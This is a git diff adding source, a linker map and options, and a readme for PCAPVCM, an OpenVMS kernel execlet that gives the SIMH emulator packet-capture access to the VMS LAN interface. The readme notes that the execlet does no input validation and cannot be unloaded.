BUG$_DISKCLASS +00000558 BUG$_CIPORT +00000560 BUG$_NODEFFONT +00000568 BUG$_BADDOP +00000570 BUG$_VWSNONPOOL +00000578 BUG$_VWSNOPPOOL +00000580 BUG$_BADBITMAPID +00000588 BUG$_VWS1 +00000590 BUG$_RUF +00000598 BUG$_TAPECLASS +000005A0 BUG$_LOCKMGRERR +000005A8 BUG$_CNXMGRERR +000005B0 BUG$_XQPERR +000005B8 BUG$_INVLOCKID +000005C0 BUG$_SBIAERROR +000005C8 BUG$_WCSCORR +000005D0 BUG$_CPUCEASED +000005D8 BUG$_CLUEXIT +000005E0 BUG$_UNSUPRTCPU +000005E8 BUG$_VWS2 +000005F0 BUG$_VWS3 +000005F8 BUG$_OUTOFSYNC +00000600 BUG$_IVBYTEALGN +00000608 BUG$_ACCVIOMCHK +00000610 BUG$_ACCVIOKSTK +00000618 BUG$_MSCPSERV +00000620 BUG$_RESEXH +00000628 BUG$_CONSOLRX50 +00000630 BUG$_KRPEMPTY +00000638 BUG$_MSCPCLASS +00000640 BUG$_ICONCLUDAT +00000648 BUG$_OPERCRASH +00000650 BUG$_INSFPOOL +00000658 BUG$_INSFLOCKID +00000660 BUG$_CTERM + +DKA100:[SIMH.PCAP-VMS.PCAPVCM]PCAPVCM.EXE;3 6-NOV-2003 18:00 Linker A12-03 Page 14 + + +Value Symbols... +----- ---------- +00000668 BUG$_IVDSKCONFG +00000670 BUG$_UCODEREV +00000678 BUG$_MPCPUCEASED +00000680 BUG$_DUPCLASS +00000688 BUG$_CWSERR +00000690 BUG$_VWS4 +00000698 BUG$_VWS5 +000006A0 BUG$_VWS6 +000006A8 BUG$_CPUEXIT +000006B0 BUG$_SPLACQERR +000006B8 BUG$_SPLRELERR +000006C0 BUG$_SPLRSTERR +000006C8 BUG$_SPLIPLLOW +000006D0 BUG$_SPLIPLHIGH +000006D8 BUG$_SPLNOTSPL +000006E0 BUG$_SPLINVIPL +000006E8 BUG$_SPLNOTMAP +000006F0 BUG$_VAXPORT +000006F8 BUG$_CLUSWVER +00000700 BUG$_BADVECTOR +00000708 BUG$_SSVECFULL +00000710 BUG$_PFNFIXUP +00000718 BUG$_BADRTPRI +00000720 BUG$_ILLQBUSCFG +00000728 BUG$_WATCHPOINT +00000730 BUG$_WPDRVRERR +00000738 BUG$_NOTSYSVA +00000740 BUG$_TTDRVR +00000748 BUG$_BADPRCPGFLX +00000750 BUG$_BADPPFLREFCNT +00000758 BUG$_BADPRCPGFLC +00000760 BUG$_PFLREFNEG +00000768 BUG$_NOPRCPGFL +00000770 BUG$_CPUSANITY +00000778 BUG$_CPUBUSYWAIT +00000780 BUG$_POOLCHECK +00000788 BUG$_CPUSPINWAIT +00000790 BUG$_DISKSERVE +00000798 BUG$_VAXCLUSTER +000007A0 BUG$_FATMEMERR +000007A8 BUG$_TTDRVR1 +000007B0 BUG$_CPUNOTPRIMARY +000007B8 BUG$_LICENSERR +000007C0 BUG$_NOCONSBUFF +000007C8 BUG$_NETDLLERR +000007D0 BUG$_NETRTGERR +000007D8 BUG$_NETECLERR +000007E0 BUG$_NETSESERR +000007E8 BUG$_MULDEALNPAG +000007F0 BUG$_PPGFLVANEG +000007F8 BUG$_SECAUDEXH +00000800 BUG$_SECURITY1 + +DKA100:[SIMH.PCAP-VMS.PCAPVCM]PCAPVCM.EXE;3 6-NOV-2003 18:00 Linker A12-03 Page 15 + + +Value Symbols... +----- ---------- +00000808 BUG$_SECURITY2 +00000810 BUG$_MCHKMCHK +00000818 BUG$_MCHKSTKNV +00000820 BUG$_WRONGPRIMARY +00000828 BUG$_INVPFLMAP +00000830 BUG$_SECAUDERR +00000838 BUG$_DSSIPORT +00000840 BUG$_DECWINDOWS +00000848 BUG$_DDTMBUG +00000850 BUG$_IPCBUG +00000858 BUG$_CSLBUG +00000860 BUG$_LOGFAIL +00000868 BUG$_VMSTESTERR +00000870 BUG$_VPIPLHIGH +00000878 BUG$_VPERR +00000880 BUG$_BADSETFUNC +00000888 BUG$_DCBCNTRBAD +00000890 BUG$_NOTIDLE +00000898 BUG$_INVCTERMMSG +000008A0 BUG$_SCSIPORT +000008A8 BUG$_CORRUPTEMB +000008B0 BUG$_SHADDETINCON +000008B8 BUG$_GFX_INVTB +000008C0 BUG$_TOOMANYUIDS +000008C8 BUG$_SHADBOOTFAIL +000008D0 BUG$_DECNET +000008D8 BUG$_REMOTE_AGENT +000008E0 BUG$_CUSTOMER +000008E8 BUG$_RSVD_ISV +000008F0 BUG$_RSVD_LP +000008F8 BUG$_SEQ_NUM_OVF +00000900 BUG$_INCON_SHELL +00000908 BUG$_INCONMMGST +00000910 BUG$_BADHOMEBLK +00000918 BUG$_BADINDEXHDR +00000920 BUG$_BADROOTHDR +00000928 BUG$_BADFILEHDR +00000930 BUG$_NOSUCHFILE +00000938 BUG$_UNABLCREVM +00000940 BUG$_L1PTNOTMAP +00000948 BUG$_L1PTNOTUNMAP +00000950 BUG$_L2PTNOTUNMAP +00000958 BUG$_INCON_CONSOLE +00000960 BUG$_DEBUGCRASH +00000968 BUG$_INV_MAPREG_PAR +00000970 BUG$_INVSCBB +00000978 BUG$_INVPTBR +00000980 BUG$_IOMBXERR +00000988 BUG$_POSIXBUG +00000990 BUG$_CTRLERR +00000998 BUG$_IOMACHINECHK +000009A0 BUG$_NOCALLTRANS + +DKA100:[SIMH.PCAP-VMS.PCAPVCM]PCAPVCM.EXE;3 6-NOV-2003 18:00 Linker A12-03 Page 16 + + +Value Symbols... +----- ---------- +000009A8 BUG$_SECOSRERR +000009B0 BUG$_REGCORDET +000009B8 BUG$_NSABLOST +000009C0 BUG$_SECAUDTCB +000009C8 BUG$_SECIPLHIGH +000009D0 BUG$_SYSAPLERR +000009D8 BUG$_ASSERTFAIL +000009E0 BUG$_TMSCPSERV +000009E8 BUG$_F64ERR +000009F0 BUG$_LFSERR +000009F8 BUG$_XFSCERR +00000A00 BUG$_XFSSERR +00000A08 BUG$_INSF_NONPAGED +00000A10 BUG$_SHADZEROMBR +00000A18 BUG$_MCHECKPAL +00000A20 BUG$_MC_FORCEDCRASH +00000A28 BUG$_MC_INCONSTATE +00000A30 BUG$_PM_VMSPORT +00000A38 BUG$_INVSECURESTATE +00000A40 BUG$_NOTPSBIRP +00000A48 BUG$_CWLNMERR +00000A50 BUG$_GLXALLNODES +00000A58 BUG$_GLXFATAL +00000A60 BUG$_INSF_PAGED +00000A68 BUG$_GLXRMTPFN +00000A70 BUG$_INVPFN +00000A78 BUG$_POWEROFF +00000A80 BUG$_SMCIPORT +00000A88 BUG$_GLXSHUTSHMEM +00000A90 BUG$_GLXCRASH +00000A98 BUG$_RMS_INCONSTATE +00000AA0 BUG$_GLXRMTMCHK +00000AA8 BUG$_MTXRELERR +00000AB0 BUG$_SEPPUCLU +00000AB8 BUG$_TESTING123 +00000AC0 BUG$_SCSERROR +00000AC8 BUG$_LASTBUG +000029C0 RX-EXE$CONNECT_SERVICES +00004030 R-ADD_LIL_ITEM +00004058 R-FIND_VALUE +00004068 R-ADD_COUNTED_VALUE +00004088 R-ADD_INT_VALUE +00004098 R-ADD_LIL_ADDR_VALUE +000040C0 R-VCI_GET_DEVICE +000040E8 R-VCI_CREATE_PORT +00004108 R-VCI_DELETE_PORT +00004128 R-VCI_MGMT_PORT +00004148 R-VCI_DELETE_VCRP +00004168 R-VCI_TRANSMIT_FRAME +00004188 R-VCI_BUILD_HEADER +00006B30 RX-SMP_STD$ACQUIRE +00006B70 RX-SMP_STD$RESTORE + +DKA100:[SIMH.PCAP-VMS.PCAPVCM]PCAPVCM.EXE;3 6-NOV-2003 18:00 Linker A12-03 Page 17 + + +Value Symbols... +----- ---------- +00006E50 RX-OTS$MOVE +00006FC0 RX-OTS$ZERO +00008000 R-INI$A_VECTOR_TABLE +00008008 R-INIVEC$PCAP$VCM_INIT +00008228 R-INI$SYSTEM_SERVICE +00008270 R-INI$A_BUILD_TABLE +00008420 RX-SMP$GL_FLAGS +00008B30 RX-SMP$AL_IPLVEC +000090A0 RX-NET$AR_LAN_VECTOR +000094E0 RX-MMG$GL_PAGE_SIZE +00009820 RX-MMG$GL_SPTBASE +00009900 RX-EXE$GL_STATE +0000A6F0 X-SYS$K_VERSION_17 +0000A700 X-SYS$K_VERSION_18 +0000BD80 RX-MMG_STD$DEALLOC_SVA +0000C000 R-INIT_VCIB +0000C030 R-PCAP$VCM_GET_STATISTICS +0000C040 R-PCAP$VCM_BUILD_HEADER +0000C080 R-INIT_TRANSMIT_VCRP +0000C090 R-PCAP$VCM_SEND_PACKET +0000C108 R-PCAP$VCM_READ_PACKET +0000C148 R-PCAP$VCM_GET_LAST_ERROR +0000C158 R-PCAP$VCM_GET_MGM_ERROR +0000C168 R-INIT_MGMT_VCRP +0000C178 R-PCAP$VCM_DISABLE_PORT +0000C1B0 R-PCAP$VCM_ENABLE_PORT +0000C1D0 R-PCAP$VCM_DELETE_PORT +0000C200 R-PCAP$VCM_CREATE_PORT +0000C240 R-PCAP$VCM_GETDEVICE +0000C270 R-PCAP$VCM_FREE_PORT +0000C2A0 R-PCAP$VCM_ALLOC_PORT +0000C2D0 R-PCAP$VCM_GET_CONTEXT +0000C2E0 R-PCAP_EVENT +0000C2F0 R-PCAP_RXCOMPL +0000C310 R-PCAP_MGMCOMPL +0000C320 R-PCAP_TXCOMPL +0000C330 R-PCAP$VCM_UNLOAD +0000C3B0 R-PCAP$VCM_INIT +0000CE90 RX-MMG$GQ_LEVEL_WIDTH +0000CF20 RX-MMG$GQ_PT_BASE +0000CF40 RX-MMG$GQ_S0S1BASE_PTE_ADDRESS +0000CF90 RX-MMG$GQ_VA_BITS +0000D8D0 RX-MMG_STD$ALLOC_SYSTEM_VA_MAP +0000E9B0 RX-EXE$ALLOCATE_POOL +0000E9C0 RX-EXE$DEALLOCATE_POOL +0000FF20 X-SYS$K_VERSION_19 + +DKA100:[SIMH.PCAP-VMS.PCAPVCM]PCAPVCM.EXE;3 6-NOV-2003 18:00 Linker A12-03 Page 18 + + +Value Symbols... +----- ---------- + + + + + Key for special characters above: + +--------------------+ + ! * - Undefined ! + ! A - Alias Name ! + ! I - Internal Name ! + ! U - Universal ! + ! R - Relocatable ! + ! X - External ! + ! WK - Weak ! + ! V - Vectored ! + ! M - Mask value ! + +--------------------+ + +DKA100:[SIMH.PCAP-VMS.PCAPVCM]PCAPVCM.EXE;3 6-NOV-2003 18:00 Linker A12-03 Page 19 + + +----------------+ + ! Image Synopsis ! + +----------------+ + +Virtual memory allocated: 00000000 00017FFF 00018000 (98304. bytes, 192. pages) +Stack size: 0. pages +Image header virtual block limits: 1. 2. ( 2. blocks) +Image binary virtual block limits: 3. 24. ( 22. blocks) +Image name and identification: PCAPVCM X-3 +System component mask: 0004A432 + SYS$K_VERSION_MEMORY_MANAGEMENT 3,0 + SYS$K_VERSION_PROCESS_SCHED 2,0 + SYS$K_VERSION_SYSGEN 1,64 + SYS$K_VERSION_NETWORKS 1,64 + SYS$K_VERSION_MISC 1,64 + SYS$K_VERSION_VOLATILE 1,64 + SYS$K_VERSION_MULTI_PROCESSING 1,0 +Number of files: 4. +Number of modules: 8. +Number of program sections: 29. +Number of global symbols: 403. +Number of image sections: 9. +User transfer address: 00008200 +Number of code references to shareable images: 39. +Image type: PIC, SHAREABLE. Global Section Match=EQUAL, Ident, Major=8, Minor=1597651 +Map format: FULL in file DKA100:[SIMH.PCAP-VMS.PCAPVCM]PCAPVCM.MAP;4 +Estimated map length: 117. blocks + +---------------------+ + ! Link Run Statistics ! + +---------------------+ + +Performance Indicators Page Faults CPU Time Elapsed Time +---------------------- ----------- -------- ------------ + Command processing: 125 00:00:00.10 00:00:00.19 + Pass 1: 33 00:00:00.22 00:00:00.29 + Allocation/Relocation: 4 00:00:00.01 00:00:00.12 + Pass 2: 8 00:00:00.06 00:00:00.30 + Map data after object module synopsis: 4 00:00:00.07 00:00:00.16 + Symbol table output: 1 00:00:00.01 00:00:00.08 +Total run values: 175 00:00:00.47 00:00:01.17 + +Using a working set limited to 6800 pages and 2028 pages of data storage (excluding image) + +Total number object records read (both passes): 796 + of which 164 were in libraries and 100 were DEBUG data records containing 41320 bytes + +Number of modules extracted explicitly = 7 + with 0 extracted to resolve undefined symbols + +0 library searches were for symbols not in the library searched + +A total of 4 global symbol table records was written + +LINK/NOTRACE/NOUSERLIB/MAP=PCAPVCM/FULL/NOSYSLIB/NOSYSSHR/SHARE/NATIVEONLY/BPAGE=14/NOTRACEBACK/NODEMAND_ZERO/SECTION_BINDING/SYSEXE +=SELECTIVE/EXE=PCAPVCM.EXE SYS$INPUT/OPT + +DKA100:[SIMH.PCAP-VMS.PCAPVCM]PCAPVCM.EXE;3 6-NOV-2003 18:00 Linker A12-03 Page 20 + + +SYMBOL_TABLE=GLOBALS + +! +vector_table = sys$share:sys$public_vectors.exe +! +! Ensure fixups are done before our initialization routines are called +! +ALPHA$LIBRARY:STARLET/INCLUDE=(SYS$DOINIT,SYS$SSDEF) +! +PCAPVCM$OBJ:PCAPVCM/INCLUDE=(PCAPVCM_INIT, PCAPVCM, VCI_JACKET, VCMUTIL) +SYS$LIBRARY:VMS$VOLATILE_PRIVATE_INTERFACES/INCLUDE=(BUGCHECK_CODES) +! +CASE_SENSITIVE=YES +! +! Mess up psect attributes, I'm slight;y rusty on this and have +! missed some... so do not try to unload the execlet => crash +! +PSECT_ATTR=$CODE, PIC,CON,REL,GBL,NOSHR, EXE,NOWRT,NOVEC,MOD +PSECT_ATTR=$CODE$, PIC,CON,REL,GBL,NOSHR, EXE,NOWRT,NOVEC,MOD +! +PSECT_ATTR=$$$100_DATA, PIC,CON,REL,GBL,NOSHR,NOEXE, WRT,NOVEC,MOD +PSECT_ATTR=$LINK$, PIC,CON,REL,GBL,NOSHR,NOEXE, WRT,NOVEC,MOD +PSECT_ATTR=$LINKAGE$, PIC,CON,REL,GBL,NOSHR,NOEXE, WRT,NOVEC,MOD +PSECT_ATTR=$LINKAGE, PIC,CON,REL,GBL,NOSHR,NOEXE, WRT,NOVEC,MOD +PSECT_ATTR=$DATA$, PIC,CON,REL,GBL,NOSHR,NOEXE, WRT,NOVEC,MOD +PSECT_ATTR=EXEC$NONPAGED_DATA, PIC,CON,REL,GBL,NOSHR,NOEXE, WRT,NOVEC,MOD +PSECT_ATTR=$LITERAL$, PIC,CON,REL,GBL,NOSHR,NOEXE, WRT,NOVEC,MOD +PSECT_ATTR=$READONLY$, PIC,CON,REL,GBL,NOSHR,NOEXE, WRT,NOVEC,MOD +PSECT_ATTR=$BSS$, PIC,CON,REL,GBL,NOSHR,NOEXE, WRT,NOVEC,MOD +! +PSECT_ATTR=EXEC$INIT_LINKAGE, PIC,CON,REL,GBL,NOSHR, EXE, WRT,NOVEC,MOD +PSECT_ATTR=EXEC$INIT_000, PIC,CON,REL,GBL,NOSHR, EXE, WRT,NOVEC,MOD +PSECT_ATTR=EXEC$INIT_001, PIC,CON,REL,GBL,NOSHR, EXE, WRT,NOVEC,MOD +PSECT_ATTR=EXEC$INIT_002, PIC,CON,REL,GBL,NOSHR, EXE, WRT,NOVEC,MOD +PSECT_ATTR=EXEC$INIT_CODE, PIC,CON,REL,GBL,NOSHR, EXE, WRT,NOVEC,MOD +PSECT_ATTR=EXEC$INIT_SSTBL_000, PIC,CON,REL,GBL,NOSHR, EXE, WRT,NOVEC,MOD +PSECT_ATTR=EXEC$INIT_SSTBL_001, PIC,CON,REL,GBL,NOSHR, EXE, WRT,NOVEC,MOD +PSECT_ATTR=EXEC$INIT_SSTBL_002 PIC,CON,REL,GBL,NOSHR, EXE, WRT,NOVEC,MOD +! +! Collect all the psects into clusters +! +COLLECT=NONPAGED_CODE/ATTRIBUTES=RESIDENT, $CODE, - + $CODE$ +COLLECT=NONPAGED_DATA/ATTRIBUTES=RESIDENT, $$$100_DATA, - + $LINK$, - + $LINKAGE$, - + $LINKAGE, - + $DATA$, - + $LITERAL$, - + $READONLY$, - + $BSS$, - + EXEC$NONPAGED_DATA +COLLECT=INIT/ATTRIBUTES=INITIALIZATION_CODE, EXEC$INIT_LINKAGE, - + EXEC$INIT_000, - + +DKA100:[SIMH.PCAP-VMS.PCAPVCM]PCAPVCM.EXE;3 6-NOV-2003 18:00 Linker A12-03 Page 21 + + EXEC$INIT_001, - + EXEC$INIT_002, - + EXEC$INIT_CODE, - + EXEC$INIT_SSTBL_000, - + EXEC$INIT_SSTBL_001, - + EXEC$INIT_SSTBL_002 diff --git a/Pcap-VMS/pcapvcm/pcapvcm_init.mar b/Pcap-VMS/pcapvcm/pcapvcm_init.mar new file mode 100644 index 00000000..d17dde8f --- /dev/null +++ b/Pcap-VMS/pcapvcm/pcapvcm_init.mar @@ -0,0 +1,18 @@ + .TITLE PCAPVCM_INIT + .IDENT /X-1/ + + .LIBRARY /SYS$LIBRARY:LIB.MLB/ + + $SSDEF + + .ENABLE LOCAL_BLOCK +; +; Store the pointer to the context routine. This will become (hopefully) +; the base address of the execlet when it is loaded. +; +.PSECT $$$100_DATA noexe,quad + .long pcap$vcm_get_context + + .DISABLE LOCAL_BLOCK + .END + diff --git a/Pcap-VMS/pcapvcm/readme.txt b/Pcap-VMS/pcapvcm/readme.txt new file mode 100644 index 00000000..027870cc --- /dev/null +++ b/Pcap-VMS/pcapvcm/readme.txt @@ -0,0 +1,82 @@ +This is a VMS execlet which implements a VMS Communications Module (VCM) +for the VMS Communications Interface (VCI) + +In order to use the execlet it must be placed in SYS$LOADABLE_IMAGES and +must be loaded with the dynamic loader in order to get the address of +the context block used to communicate with the execlet. This is +accomplished as follows: + +... +static PCAPVCM *pcapvcm = 0; +LDRHANDLE reference_handle; +void *rtnptr = 0; +$DESCRIPTOR(execlet_name, "PCAPVCM"); +int is_loaded = 0; +.... +// +// Load the execlet and get the execlet context block +// +int load_execlet () +{ + int status; + LKP *symvec; /* Pointer to symbol vector */ + int (*getContext)(PCAPVCM **); + + /* Try referencing execlet first, in case it is already loaded */ + status = LDR$REF_INFO (&execlet_name, &reference_handle); + + /* If error, must not be loaded yet */ + if (status != SS$_NORMAL) + { + /* Load execlet */ + status = LDR$LOAD_IMAGE (&execlet_name, LDR$M_UNL, &reference_handle); + } + + if ($VMS_STATUS_SUCCESS(status)) { + // Indicate that we've loaded the execlet + is_loaded = 1; + + // Get the shared context. We built the execlet so that the address + // of the routine that does this is at home base... + rtnptr = *(void **)reference_handle.ldrimg_ptr->ldrimg$l_nonpag_w_base; + if (rtnptr) { + getContext = (int (*)())rtnptr; + status = (*getContext)(&pcapvcm); + } + } + return(status); +} + +The execlet is callable by means of using sys$cmkrl_64, for instance the +following allocates a VCI port: + +// +// Tell the PCAPVCM execlet to allocate a VCI port +// +int pcapvci_alloc_port(VCMCTX **ctx) +{ + int status; + uint64 arglist[2]; + + arglist[0] = 1; + arglist[1] = (uint64) ctx; + status = sys$cmkrnl_64(pcapvcm->alloc_port, arglist); + + return status; +} + +For more information on how to use the execlet, see the pcap_client.c module. + +There is also a set of C jacket routines for the PCAPVCM execlet in the +PCAP-VCI directory all in the PCAPVCI.C module. + +Notice that the execlet does *not* check for invalid data in anyway. If +invalid data, such as a bad pointer, is passed to the execlet the system +will crash. + +It is also not posible to unload the execlet once it is built, due to the +somewhat incorrect way in which it is built. If you don't like it fix it. + +If you enhance this execlet please let me know at ankan@hp.com, thanks. + + diff --git a/Pcap-VMS/pcapvcm/vci_jacket.mar b/Pcap-VMS/pcapvcm/vci_jacket.mar new file mode 100644 index 00000000..2249230c --- /dev/null +++ b/Pcap-VMS/pcapvcm/vci_jacket.mar @@ -0,0 +1,186 @@ + .TITLE VCI_JACKET + .IDENT /X-1/ + +; Copyright (c) 2003, Anders "ankan" Ahgren +; +; Permission is hereby granted, free of charge, to any person obtaining a +; copy of this software and associated documentation files (the "Software"), +; to deal in the Software without restriction, including without limitation +; the rights to use, copy, modify, merge, publish, distribute, sublicense, +; and/or sell copies of the Software, and to permit persons to whom the +; Software is furnished to do so, subject to the following conditions: +; +; The above copyright notice and this permission notice shall be included in +; all copies or substantial portions of the Software. +; +; THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +; IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +; FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL +; ROBERT M SUPNIK BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER +; IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN +; CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. + +;++ +; FACILITY: PCAPVCM +; +; FUNCTIONAL DESCRIPTION: +; +; A set of jacket routines to allow C to easily use the VCI +; JSB interface. +; +; ENVIRONMENT: Kernel mode +; +; AUTHOR: Ankan, CREATION-DATE: 30-Mar-2003 +; +; MODIFIED BY: +; +; X-1 Ankan 30-Mar-2003 +; Initial version +;-- + + + .library /sys$share:starlet.mlb/ + .library /sys$share:lib.mlb/ + .library /sys$share:lanudef.mlb/ + .library /sys$share:lanidef.mlb/ + +; $LANIDEFS + $LANUDEF + $VCRPDEF + $VCRPLANDEF + $VCIBDEF + $VCIBDLLDEF + $SSDEF + + .PSECT $CODE,SHR,EXE,NOWRT,PIC,LONG + + .SBTTL VCI JSR jacket routines + +; VCI_GET_DEVICE +; 4(AP) Address of id +; 8(ap) Address of LDC +; + .entry vci_get_device, ^m + movl g^net$ar_lan_vector, r3 ; Get LAN vector + beql 20$ ; No LAN vector, give up + cmpl #1, lan$l_version(r3) ; Check version + blss 10$ ; If less than zero, give up + movl 4(ap), r0 ; Get address of id + movl (r0), r0 ; ...and id + jsb @lan$a_get_device(r3) ; Go get device + cmpl #0, r1 ; No more devices? + beql 10$ ; Nope, indicate that + movl 4(ap), r2 ; Get address for id + movl r0, (r2) ; Save id + movl 8(ap), r2 ; Get address of LDC + movl r1, (r2) ; Move in LDC + movl #ss$_normal, r0 ; Ok + ret +10$: movl #ss$_nosuchdev, r0 + ret +20$: movl #ss$_accvio, r0 + ret + + .entry vci_create_port, ^m + movl g^net$ar_lan_vector, r3 ; Get LAN vector + beql 20$ ; No LAN vector, give up + cmpl #1, lan$l_version(r3) ; Check version + blss 10$ ; If less than zero, give up + movl 4(ap), r4 ; Get address of vcib + jsb @lan$a_create_port(r3) ; Go create the port + ret +10$: movl #ss$_nosuchdev, r0 + ret +20$: movl #ss$_accvio, r0 + ret + + .entry vci_delete_port, ^m + movl g^net$ar_lan_vector, r3 ; Get LAN vector + beql 20$ ; No LAN vector, give up + cmpl #1, lan$l_version(r3) ; Check version + blss 10$ ; If less than zero, give up + movl 4(ap), r4 ; Get address of vcib + jsb @lan$a_delete_port(r3) ; Go delete the port + ret +10$: movl #ss$_nosuchdev, r0 + ret +20$: movl #ss$_accvio, r0 + ret + + +; +; 4(ap) VCRP +; 8(ap) VCIB + .entry vci_mgmt_port, ^m + movl g^net$ar_lan_vector, r2 ; Get LAN vector + beql 20$ ; No LAN vector, give up + cmpl #1, lan$l_version(r2) ; Check version + blss 10$ ; If less than zero, give up + movl 4(ap), r3 ; Get address of vcrp + movl 8(ap), r4 ; Get address of vcib + jsb @vcib$a_portmgmt_initiate(r4) ; Go enable the port + ret +10$: movl #ss$_nosuchdev, r0 + ret +20$: movl #ss$_accvio, r0 + ret + +; +; 4(ap) VCRP + .entry vci_delete_vcrp, ^m + movl g^net$ar_lan_vector, r2 ; Get LAN vector + beql 20$ ; No LAN vector, give up + cmpl #1, lan$l_version(r2) ; Check version + blss 10$ ; If less than zero, give up + movl 4(ap), r3 ; Get address of vcrp + jsb @vcrp$a_dealloc_rtn(r3) ; Delete VCRP + ret +10$: movl #ss$_nosuchdev, r0 + ret +20$: movl #ss$_accvio, r0 + ret + + +; +; 4(ap) VCRP +; 8(ap) VCIB + .entry vci_transmit_frame, ^m + movl g^net$ar_lan_vector, r2 ; Get LAN vector + beql 20$ ; No LAN vector, give up + cmpl #1, lan$l_version(r2) ; Check version + blss 10$ ; If less than zero, give up + movl 4(ap), r3 ; Get address of vcrp + movl 8(ap), r4 ; Get address of vcib + jsb @vcib$a_lan_transmit_frame(r4) ; ...send off the packet + ret +10$: movl #ss$_nosuchdev, r0 + ret +20$: movl #ss$_accvio, r0 + ret + +; +; 4(ap) - address of where to build header +; 8(ap) - address of where to return header +; 12(ap) - address of 802 transmit longword +; 16(ap) - if 802 address of response byte +; 20(ap) - address of vcrp + .entry vci_build_header, ^m + movl g^net$ar_lan_vector, r2 ; Get LAN vector + beql 20$ ; No LAN vector, give up + cmpl #1, lan$l_version(r2) ; Check version + blss 10$ ; If less than zero, give up + movl 4(ap), r0 ; Get address header + movl 12(ap), r1 ; 802 xmit longword + movl 16(ap), r2 ; 802 response flag + movl 20(ap), r4 ; vcrp address + jsb @vcib$a_lan_build_hdr(r4) ; build us a header + movl 8(ap), r2 ; Get return address + movl r0, (r2) ; Save address + movl r3, r0 ; Save final size + ret +10$: movl #ss$_nosuchdev, r0 + ret +20$: movl #ss$_accvio, r0 + ret + + .END diff --git a/Pcap-VMS/pcapvcm/vcmutil.c b/Pcap-VMS/pcapvcm/vcmutil.c new file mode 100644 index 00000000..3aee2803 --- /dev/null +++ b/Pcap-VMS/pcapvcm/vcmutil.c @@ -0,0 +1,148 @@ +/* vcmutil.c - VCM helper routines + + Copyright (c) 2003, Anders "ankan" Ahgren + + Permission is hereby granted, free of charge, to any person obtaining a + copy of this software and associated documentation files (the "Software"), + to deal in the Software without restriction, including without limitation + the rights to use, copy, modify, merge, publish, distribute, sublicense, + and/or sell copies of the Software, and to permit persons to whom the + Software is furnished to do so, subject to the following conditions: + + The above copyright notice and this permission notice shall be included in + all copies or substantial portions of the Software. + + THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL + ROBERT M SUPNIK BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER + IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN + CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. + +*/ +//*************************************************************************** +// +// +// FACILITY: +// +// Dynamic Loadable Execlet for PCAP +// +// +// ABSTRACT: +// +// This module contains helper routines for the PCAP VCM. +// +// AUTHOR: +// +// Ankan +// +// CREATION DATE: 21-Mar-2003 +// +// DESIGN ISSUES: +// +// {@tbs@} +// +// REVISION HISTORY: +// +// X-1 Ankan Anders Ahgren 21-Mar-2003 +// Initial version. +// +#include +#include +#include "pcapvcm.h" + +void add_lil_item(LILDEF *lil, int len, int tag, char *value) +{ + LILITEM *lilitm; + + lilitm = (LILITEM *)lil->lil$a_listadr + lil->lil$l_listlen; + lilitm->len = len + 4; // Includes len and tag! + lilitm->tag = tag; + memcpy((char *)&lilitm->val, value, len); + lil->lil$l_listlen = len + 4; // 4 is len+tag +} + +void add_lil_addr_value(LILDEF *lil, int len, int tag, char *value) +{ + LILITEM *lilitm; + char **foo; + char *tmp; + + lilitm = (LILITEM *) lil->lil$a_listadr + lil->lil$l_listlen; + lilitm->len = len + 4; // Includes len and tag! + lilitm->tag = tag; + foo = (char **) &lilitm->val; + *foo = (char *) &lilitm->val + sizeof(char *); + tmp = *foo; + memcpy(tmp, value, len); + lil->lil$l_listlen = len + 4 + sizeof(char *); // 4 is len+tag +} + +/* +** Ethernet device setup helper routines +*/ +char *add_int_value(char *buf, short code, int value) +{ + char *tmpptr = buf; + short *sptr; + int *iptr; + + sptr = (short *)tmpptr; + *sptr = (short) code; + tmpptr += 2; + iptr = (int *) tmpptr; + *iptr = 0; + *iptr = (int) value; + tmpptr += 4; + return tmpptr; +} + + +char *add_counted_value(char *buf, short code, short len, char *value) +{ + char *tmpptr = buf; + short *sptr; + + sptr = (short *)tmpptr; + *sptr = (short) code; + tmpptr += 2; + sptr = (short *) tmpptr; + *sptr = (short) len; + tmpptr += 2; + memcpy(tmpptr,value,len); + tmpptr += len; + return tmpptr; +} + + +int find_value(int buflen, char *buf, short code, char *retbuf) +{ + int i = 0; + int item; + char *tmpbuf = buf; + int value; + int status = 0; + + while (i < buflen) { + item = (tmpbuf[i] + (tmpbuf[i+1]<<8)); + if (0x1000 & item) { + if ((item & 0xFFF) == code) { + memcpy(retbuf, &tmpbuf[i+4],6); + status = 1; + break; + } + i += (tmpbuf[i+2] + (tmpbuf[i+3]<<8)) + 4; + } else { + // A value, ours? + if ((item & 0xFFF) == code) { + // Yep, return it + memcpy(retbuf, &tmpbuf[i+2], 4); + status = 1; + break; + } + i += 6; + } + } + return status; +} +